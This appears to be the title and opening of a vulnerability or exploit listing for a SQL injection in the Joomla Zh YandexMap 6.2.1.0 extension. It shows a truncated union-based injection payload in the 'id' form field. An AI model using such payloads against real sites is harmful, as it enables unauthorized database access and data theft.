Joomla! Zh YandexMap 6.2.1.0 SQL Injection

input name="id" value="-11 UNION ALL SELECT...